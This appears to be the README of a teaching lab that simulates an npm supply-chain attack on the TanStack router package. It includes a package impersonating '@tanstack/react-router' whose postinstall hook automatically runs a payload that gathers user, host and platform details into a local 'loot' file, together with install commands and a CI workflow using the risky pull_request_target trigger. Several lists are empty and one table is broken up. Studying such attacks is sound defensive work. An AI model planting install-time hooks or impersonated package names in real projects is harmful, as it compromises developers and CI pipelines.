
Educational Lab for Understanding npm Supply Chain Attacks, CI/CD Abuse, and Install-Time Code Execution
This project is created only for:
Do not use this project for:
This lab simulates the basic concepts of the incident:
The simulation is conducted locally and safely without:
lab/
├── fake-repo/ # Simulasi repository target
├── attacker-package/ # Simulasi package malicious
└── victim-project/ # Simulasi korban
Attacker Package
↓
npm install
↓
postinstall script berjalan
↓
payload.js dieksekusi otomatis
↓
Korban terkena install-time execution
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Result:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
If successful, the following will appear:
=== MALICIOUS PAYLOAD EXECUTED ===
and the file:
loot.txt
will be automatically created.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
This project can also be used to understand:
Example workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Lab Simulation | Real World |
|---|---|
| attacker-package | compromised TanStack package |
| payload.js | malicious installer |
| postinstall |
This lab is created to raise awareness regarding:
| lifecycle hook abuse |
| victim-project | developer/CI victim |
| fake-repo | GitHub Actions pipeline |